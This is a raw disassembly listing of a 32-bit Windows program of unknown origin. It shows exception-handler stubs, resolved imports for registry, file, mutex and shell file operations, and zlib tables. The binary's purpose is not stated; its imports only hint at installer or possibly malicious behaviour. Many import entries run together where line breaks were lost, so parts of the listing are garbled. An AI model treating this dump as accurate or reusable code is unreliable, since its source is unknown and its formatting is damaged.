		mov	ecx, [ebp-10h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------


loc_4323A9:				; DATA XREF: HLXc:00426505o
		mov	eax, offset dword_4356F8
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_4323BC:				; DATA XREF: HLXc:0043574Co
		mov	ecx, [ebp-18h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		call	sub_431642
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_426584	proc near		; DATA XREF: sub_426584+5o
		mov	eax, offset dword_435720
		jmp	sub_43169C
SEH_426584	endp

; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------


loc_4323EA:				; DATA XREF: HLXc:0043578Co
		mov	ecx, [ebp-10h]
		add	ecx, 10h
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 14h
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_432402:				; DATA XREF: HLXc:00426882o
		mov	eax, offset dword_435760
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+0Ch]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_432415:				; DATA XREF: HLXc:004357C4o
		lea	ecx, [ebp+8]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 10h
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 14h
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		call	sub_431642
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_42692B	proc near		; DATA XREF: sub_42692B+5o
		mov	eax, offset dword_435798
		jmp	sub_43169C
SEH_42692B	endp

; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------


loc_432464:				; DATA XREF: HLXc:0043581Co
		mov	ecx, [ebp-10h]
		add	ecx, 10h
		call	sub_431642
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_426ABF	proc near		; DATA XREF: sub_426ABF+5o
		mov	eax, offset dword_4357F0
		jmp	sub_43169C
SEH_426ABF	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		call	sub_431642
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_426B19	proc near		; DATA XREF: sub_426B19+5o
		mov	eax, offset dword_435820
		jmp	sub_43169C
SEH_426B19	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		call	sub_431642
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_426DB8	proc near		; DATA XREF: sub_426DB8+5o
		mov	eax, offset dword_435848
		jmp	sub_43169C
SEH_426DB8	endp

; ---------------------------------------------------------------------------
		mov	ecx, [ebp-30h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------


loc_4324A9:				; DATA XREF: HLXc:00426E5Do
		mov	eax, offset dword_435870
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_4324BC:				; DATA XREF: HLXc:004358C4o
		mov	ecx, [ebp-38h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_4324D7:				; DATA XREF: HLXc:00426F3Do
		mov	eax, offset dword_435898
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-20h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------


loc_4324EA:				; DATA XREF: HLXc:004273C4o
		mov	eax, offset dword_4358D8
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_4324FD:				; DATA XREF: HLXc:0043592Co
		mov	ecx, [ebp-28h]
		call	sub_428230
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_432518:				; DATA XREF: HLXc:00427480o
		mov	eax, offset dword_435900
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		call	sub_4284A0
		retn
; ---------------------------------------------------------------------------


loc_43252B:				; DATA XREF: HLXc:0043596Co
		mov	ecx, [ebp-18h]
		add	ecx, 28h
		call	dword_433168
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		add	ecx, 38h
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_432545:				; DATA XREF: HLXc:0042789Ao
		mov	eax, offset dword_435940
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+18h]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_432559:				; DATA XREF: HLXc:004359A4o
		lea	ecx, [ebp+8]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		call	sub_4284A0
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		add	ecx, 28h
		call	dword_433168
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		add	ecx, 38h
		call	dword_433168
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-38h]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_43259A:				; DATA XREF: HLXc:00427957o
		mov	eax, offset dword_435978
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		call	sub_4284A0
		retn
; ---------------------------------------------------------------------------


loc_4325AD:				; DATA XREF: HLXc:004359FCo
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_4325BA:				; DATA XREF: HLXc:00427ACCo
		mov	eax, offset dword_4359D0
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_4325CE:				; DATA XREF: HLXc:00427D26o
		mov	eax, offset dword_435A00
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_4325E2:				; DATA XREF: HLXc:00427E0Ao
		mov	eax, offset dword_435A28
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		call	sub_4284A0
		retn
; ---------------------------------------------------------------------------


loc_4325F5:				; DATA XREF: HLXc:00427EB1o
		mov	eax, offset dword_435A50
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_432609:				; DATA XREF: HLXc:00435AA4o
		mov	ecx, [ebp-34h]
		call	sub_4284A0
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-30h]
		call	dword_433168
		retn
; ---------------------------------------------------------------------------


loc_432626:				; DATA XREF: HLXc:00427F36o
		mov	eax, offset dword_435A78
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	sub_431642
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_4281D0	proc near		; DATA XREF: sub_4281D0+5o
		mov	eax, offset dword_435AB8
		jmp	sub_43169C
SEH_4281D0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	sub_431642
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_428230	proc near		; DATA XREF: sub_428230+5o
		mov	eax, offset dword_435AE0
		jmp	sub_43169C
SEH_428230	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-18h]
		add	ecx, 8
		call	dword_433168
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_428440	proc near		; DATA XREF: sub_428440+5o
		mov	eax, offset dword_435B08
		jmp	sub_43169C
SEH_428440	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	dword_433168
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_4284A0	proc near		; DATA XREF: sub_4284A0+5o
		mov	eax, offset dword_435B30
		jmp	sub_43169C
SEH_4284A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_4326BC:				; DATA XREF: HLXc:00435B84o
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	sub_422BB1
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 203Ch
		call	sub_431642
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_429830	proc near		; DATA XREF: sub_429830+5o
		mov	eax, offset dword_435B58
		jmp	sub_43169C
SEH_429830	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_4326FC:				; DATA XREF: HLXc:00435BBCo
		mov	ecx, [ebp-10h]
		add	ecx, 8
		call	sub_422BB1
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 203Ch
		call	sub_431642
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_4298B0	proc near		; DATA XREF: sub_4298B0+5o
		mov	eax, offset dword_435B90
		jmp	sub_43169C
SEH_4298B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-20h]
		call	sub_42414A
		retn
; ---------------------------------------------------------------------------


loc_432739:				; DATA XREF: HLXc:00435BF4o
		lea	ecx, [ebp-1Ch]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		call	sub_4264A2
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1F9Ch]
		call	sub_429DB0
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27ACh]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27B0h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27B8h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27BCh]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27C0h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27C4h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27C8h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27CCh]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27D0h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27D4h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27D8h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27DCh]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27E0h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27E4h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27E8h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27ECh]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27F0h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27F8h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-38h]
		call	sub_429CA0
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2800h]
		call	sub_42414A
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_42852F	proc near		; DATA XREF: sub_42852F+5o
		mov	eax, offset dword_435BC8
		jmp	sub_43169C
SEH_42852F	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-4014h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_43286C:				; DATA XREF: HLXc:00435CE4o
		lea	ecx, [ebp-8024h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_432878:				; DATA XREF: HLXc:00435CECo
		lea	ecx, [ebp-8028h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_432884:				; DATA XREF: HLXc:00435CF4o
		lea	ecx, [ebp-802Ch]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_432890:				; DATA XREF: HLXc:00435CFCo
		lea	ecx, [ebp-8030h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_43289C:				; DATA XREF: HLXc:00435D04o
		lea	ecx, [ebp-8034h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_4328A8:				; DATA XREF: HLXc:00435D0Co
		lea	ecx, [ebp-8038h]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------


loc_4328B4:				; DATA XREF: HLXc:00435D14o
		lea	ecx, [ebp-803Ch]
		call	sub_431642
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_42908F	proc near		; DATA XREF: sub_42908F+5o
		mov	eax, offset dword_435CB8
		jmp	sub_43169C
SEH_42908F	endp


; =============== S U B	R O U T	I N E =======================================



SEH_4294E5	proc near		; DATA XREF: sub_4294E5+5o
		mov	eax, offset dword_435D18
		jmp	sub_43169C
SEH_4294E5	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-14h]
		push	eax
		call	sub_43161E
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_429980	proc near		; DATA XREF: sub_429980+5o
		mov	eax, offset dword_435D70
		jmp	sub_43169C
SEH_429980	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-1Ch]
		call	sub_429CA0
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_429B00	proc near		; DATA XREF: sub_429B00+5o
		mov	eax, offset dword_435D98
		jmp	sub_43169C
SEH_429B00	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		call	sub_42414A
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_429D20	proc near		; DATA XREF: sub_429D20+5o
		mov	eax, offset dword_435DC0
		jmp	sub_43169C
SEH_429D20	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-1Ch]
		push	eax
		call	sub_43161E
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



SEH_43110B	proc near		; DATA XREF: sub_43110B+5o
		mov	eax, offset dword_435DE8
		jmp	sub_43169C
SEH_43110B	endp

; ---------------------------------------------------------------------------
		align 4
		dd 1AAh	dup(0)
dword_433000	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_4266E9+8Er ...
dword_433004	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_426B19+45r ...
dword_433008	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExA					; sub_426CC3+74r ...
dword_43300C	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExA					; sub_426CC3+36r ...
dword_433010	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExA					; sub_426B19+79r ...
		align 8
dword_433018	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; HLXc:00421665r ...
dword_43301C	dd 7C80180Eh	; resolved to->KERNEL32.ReadFile					; sub_42146A+12Ar ...
dword_433020	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; HLXc:004217F5r ...
dword_433024	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_433028	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_42146A+99r ...
dword_43302C	dd 7C834FFEh	; resolved to->KERNEL32.GetCurrentDirectoryA					; HLXc:0042212Br ...
dword_433030	dd 7C8217ACh	; resolved to->KERNEL32.CreateDirectoryA					; sub_4307DB+FDr
dword_433034	dd 7C85B219h	; resolved to->KERNEL32.RemoveDirectoryAdword_433038	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesAdword_43303C	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesAdword_433040	dd 7C80EDD7h	; resolved to->KERNEL32.FindClose					; sub_4221DB+98r ...
dword_433044	dd 7C80B974h	; resolved to->KERNEL32.UnmapViewOfFiledword_433048	dd 7C8360DDh	; resolved to->KERNEL32.SetCurrentDirectoryA					; sub_4249D2+18r
dword_43304C	dd 7C80FC2Fh	; resolved to->KERNEL32.GlobalFree					; sub_4227A4+36r ...
dword_433050	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; sub_4308E2+445r
dword_433054	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary					; sub_4263D6+9Cr
dword_433058	dd 7C8123B9h	; resolved to->KERNEL32.GlobalReAllocdword_43305C	dd 7C80FD2Dh	; resolved to->KERNEL32.GlobalAllocdword_433060	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_4227A4+82r ...
dword_433064	dd 7C80992Fh	; resolved to->KERNEL32.LocalFreedword_433068	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiBytedword_43306C	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChardword_433070	dd 7C80B905h	; resolved to->KERNEL32.MapViewOfFiledword_433074	dd 7C80945Ch	; resolved to->KERNEL32.CreateFileMappingAdword_433078	dd 7C834D41h	; resolved to->KERNEL32.lstrcatA					; sub_422C48+28r ...
dword_43307C	dd 7C910340h	; resolved to->NTDLL.RtlSetLastWin32Error					; sub_421C92+71r ...
dword_433080	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileAdword_433084	dd 7C834EB1h	; resolved to->KERNEL32.FindNextFileAdword_433088	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoAdword_43308C	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_433090	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_433094	dd 7C83214Eh	; resolved to->KERNEL32.DosDateTimeToFileTimedword_433098	dd 7C810B1Ch	; resolved to->KERNEL32.SystemTimeToFileTimedword_43309C	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcess					; sub_42E429+6Dr
dword_4330A0	dd 7C80DDFEh	; resolved to->KERNEL32.DuplicateHandledword_4330A4	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; sub_42FFCE+59r ...
dword_4330A8	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_42E61F+27r ...
dword_4330AC	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrementdword_4330B0	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_4330B4	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenA					; sub_424AE5+12Dr ...
dword_4330B8	dd 7C821BA5h	; resolved to->KERNEL32.GetVolumeInformationAdword_4330BC	dd 7C80BF3Dh	; resolved to->KERNEL32.GetSystemDefaultLCIDdword_4330C0	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_4330C4	dd 7C80977Ah	; resolved to->KERNEL32.InterlockedDecrementdword_4330C8	dd 7C810111h	; resolved to->KERNEL32.lstrcpynA					; sub_42852F+75Cr
dword_4330CC	dd 7C80BE01h	; resolved to->KERNEL32.lstrcpyA					; sub_422EC3+Cr ...
dword_4330D0	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObjectdword_4330D4	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryA					; sub_424AE5+166r
dword_4330D8	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_4330DC	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_4263D6+27r
dword_4330E0	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_422A1E+C8r ...
		align 8
dword_4330E8	dd 73E267E1h	dword_4330EC	dd 73E266E6h	dword_4330F0	dd 73E263DEh	dword_4330F4	dd 73DD6672h	dword_4330F8	dd 73E2D6BFh	dword_4330FC	dd 73DD493Dh	dword_433100	dd 73DD27B2h	dword_433104	dd 73DD418Ch	dword_433108	dd 73DD2831h	dword_43310C	dd 73E2654Dh	dword_433110	dd 73E26465h	dword_433114	dd 73DEBD63h	dword_433118	dd 73DD47A8h	dword_43311C	dd 73DD265Ch	dword_433120	dd 73DD496Bh	dword_433124	dd 73DD2709h	dword_433128	dd 73DD41F5h	dword_43312C	dd 73DD4391h	dword_433130	dd 73E2C2B3h	dword_433134	dd 73DD433Ah	dword_433138	dd 73DD4123h			align 10h
dword_433140	dd 401204h	dword_433144	dd 401F3Eh						; HLXc:00421419r
dword_433148	dd 401891h	dword_43314C	dd 404A51h						; HLXc:004213CEr
dword_433150	dd 401888h						; HLXc:004213E0r
dword_433154	dd 405384h						; HLXc:00421426r
dword_433158	dd 401E51h						; HLXc:00431C27r
dword_43315C	dd 4038E0h	dword_433160	dd 403B9Ah			align 8
dword_433168	dd 7608F485h						; HLXc:00427A7Cr ...
dword_43316C	dd 7608F470h						; HLXc:004278E0r ...
dword_433170	dd 7609F0F5h						; HLXc:00427A52r ...
dword_433174	dd 76085B0Ch						; HLXc:00427F9Er
dword_433178	dd 760AC190h						; HLXc:00427A3Br ...
dword_43317C	dd 760A06A9h						; HLXc:00427A28r ...
dword_433180	dd 7609F015h						; sub_427B23+12Cr ...
dword_433184	dd 76081F8Bh	dword_433188	dd 7608B84Ch						; sub_427B23+58r ...
dword_43318C	dd 76085828h	dword_433190	dd 76090F65h	dword_433194	dd 76097647h						; HLXc:00427906r ...
		dd 0
dword_43319C	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; HLXc:004310F2r
dword_4331A0	dd 77C1BE7Bh	; resolved to->MSVCRT.atoldword_4331A4	dd 77C4AEA3h	; resolved to->MSVCRT.time					; sub_4255E6+AAr ...
dword_4331A8	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_425FC6+311r
dword_4331AC	dd 77C464BFh	; resolved to->MSVCRT._strnicmp					; sub_425D38+1EDr ...
dword_4331B0	dd 77C46125h	; resolved to->MSVCRT._strdupdword_4331B4	dd 77C32D22h	; resolved to->MSVCRT._mbsuprdword_4331B8	dd 77C46040h	; resolved to->MSVCRT.strcatdword_4331BC	dd 77C22738h	; resolved to->MSVCRT._EH_prologdword_4331C0	dd 77C46F70h	; resolved to->MSVCRT.memcpydword_4331C4	dd 77C3F010h	; resolved to->MSVCRT.fopendword_4331C8	dd 77C2C407h	; resolved to->MSVCRT.malloc					; sub_42852F+988r ...
dword_4331CC	dd 77C47C60h	; resolved to->MSVCRT.strstrdword_4331D0	dd 77C40AB1h	; resolved to->MSVCRT.fclosedword_4331D4	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42322C+110r ...
dword_4331D8	dd 77C227FAh	; resolved to->MSVCRT.__CxxFrameHandlerdword_4331DC	dd 77C226F6h	; resolved to->MSVCRT._CxxThrowExceptiondword_4331E0	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_422A1E+108r ...
dword_4331E4	dd 77C475F0h	; resolved to->MSVCRT.memsetdword_4331E8	dd 77C47FCCh	; resolved to->MSVCRT.wcslendword_4331EC	dd 77C41574h	; resolved to->MSVCRT.ftell					; sub_4224B5+2Er
dword_4331F0	dd 77C4139Ch	; resolved to->MSVCRT.fseek					; sub_4224B5+44r
dword_4331F4	dd 77C1CAD7h	; resolved to->MSVCRT.toupper					; sub_42239F+6Dr ...
dword_4331F8	dd 77C478A0h	; resolved to->MSVCRT.strlendword_4331FC	dd 77C46030h	; resolved to->MSVCRT.strcpydword_433200	dd 77C31FBDh	; resolved to->MSVCRT._mbsnbcpydword_433204	dd 77C31881h	; resolved to->MSVCRT._mbscmp					; sub_425AD2+D7r ...
dword_433208	dd 77C2C0C3h	; resolved to->MSVCRT.callocdword_43320C	dd 77C47730h	; resolved to->MSVCRT.strcmpdword_433210	dd 77C4AA2Dh	; resolved to->MSVCRT.gmtimedword_433214	dd 77C32BB0h	; resolved to->MSVCRT._mbsstrdword_433218	dd 77C21868h	dword_43321C	dd 77C34E51h	; resolved to->MSVCRT.__dllonexitdword_433220	dd 77C34DF8h	; resolved to->MSVCRT._onexitdword_433224	dd 77C39E9Ah	; resolved to->MSVCRT._exitdword_433228	dd 77C32DAEh	; resolved to->MSVCRT._XcptFilterdword_43322C	dd 77C39E7Eh	; resolved to->MSVCRT.exitdword_433230	dd 77C1EEEBh	; resolved to->MSVCRT.__getmainargsdword_433234	dd 77C617ACh	; resolved to->MSVCRT._acmdlndword_433238	dd 77C39D67h	; resolved to->MSVCRT._inittermdword_43323C	dd 77C4D675h	; resolved to->MSVCRT.__setusermatherrdword_433240	dd 77C623D8h	; resolved to->MSVCRT._adjust_fdivdword_433244	dd 77C1F1A4h	; resolved to->MSVCRT.__p__commodedword_433248	dd 77C1F1DBh	; resolved to->MSVCRT.__p__fmodedword_43324C	dd 77C3537Ch	; resolved to->MSVCRT.__set_app_typedword_433250	dd 77C35C94h	; resolved to->MSVCRT._except_handler3dword_433254	dd 77C411FBh	; resolved to->MSVCRT.freaddword_433258	dd 77C4EE2Fh	; resolved to->MSVCRT._controlfp		align 10h
dword_433260	dd 77126BFFh	dword_433264	dd 77124920h						; sub_429CA0+Br ...
dword_433268	dd 77124980h	dword_43326C	dd 77124CFAh	dword_433270	dd 77124C98h	dword_433274	dd 77124880h						; sub_42852F+805r ...
dword_433278	dd 77124C7Eh						; sub_429AB0+17r
dword_43327C	dd 7712A63Fh	dword_433280	dd 77124C05h			align 8
dword_433288	dd 7CA70964h	; resolved to->SHELL32.SHFileOperationA					; sub_421C92+BBr ...
		align 10h
dword_433290	dd 7E41C4A9h	; resolved to->USER32.EqualRectdword_433294	dd 7E41C66Eh	; resolved to->USER32.CopyRectdword_433298	dd 7E41A8ADh	; resolved to->USER32.wsprintfA					; sub_424AE5+2C8r ...
dword_43329C	dd 7E418D2Bh	; resolved to->USER32.CharUpperA		dd 0
dword_4332A4	dd 774FEE36h	dword_4332A8	dd 77502A37h						; sub_4294E5+E5r
dword_4332AC	dd 774FFAC3h			dd 2 dup(0)
byte_4332B8	db 90h			; DATA XREF: sub_42852F+BFo
		db 0BFh, 33h, 29h
		dd 11D27B36h, 0C0000EB2h, 603E984Fh
dword_4332C8	dd 2933BF81h, 11D27B36h, 0C0000EB2h, 603E984Fhoff_4332D8	dd offset sub_4219B0	; DATA XREF: sub_421000+14o
					; sub_421021+Ao
off_4332DC	dd offset sub_4229F0	; DATA XREF: sub_4226B0+Ao
					; sub_4226C7+Ao ...
off_4332E0	dd offset aNeedDictiona_0 ; DATA XREF: HLXc:0042DACCr
					; "need	dictionary"
		dd offset aStreamEnd	; "stream end"
		dd offset dword_43BD38
		dd offset aFileError	; "file	error"
		dd offset aStreamError	; "stream error"
		dd offset aDataError	; "data	error"
		dd offset aInsufficientMe ; "insufficient memory"
		dd offset aBufferError	; "buffer error"
		dd offset aIncompatibleVe ; "incompatible version"
		dd offset dword_43BD3C
dword_433308	dd 0							; sub_42A17E+464r ...
		dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh,	0FFh, 1FFh, 3FFh, 7FFh
		dd 0FFFh, 1FFFh, 3FFFh,	7FFFh, 0FFFFh, 0
dword_433350	dd 760h, 100h, 800h, 50h, 800h,	10h, 854h, 73h,	752h, 1Fh
					; DATA XREF: sub_42CF5B+18o
		dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah,	800h, 60h
		dd 800h, 20h, 900h, 0A0h, 800h,	0
		dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h
		dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h
		dd 900h, 0D0h, 751h, 11h, 800h,	68h, 800h, 28h,	900h, 0B0h
		dd 800h, 8, 800h, 88h, 800h, 48h, 900h,	0F0h, 750h, 4
		dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh,	800h, 74h
		dd 800h, 34h, 900h, 0C8h, 751h,	0Dh, 800h, 64h,	800h, 24h
		dd 900h, 0A8h, 800h, 4,	800h, 84h, 800h, 44h, 900h, 0E8h
		dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h,	98h, 754h, 53h
		dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h,	800h, 6Ch
		dd 800h, 2Ch, 900h, 0B8h, 800h,	0Ch, 800h, 8Ch,	800h, 4Ch
		dd 900h, 0F8h, 750h, 3,	800h, 52h, 800h, 12h, 855h, 0A3h
		dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h,	751h, 0Bh
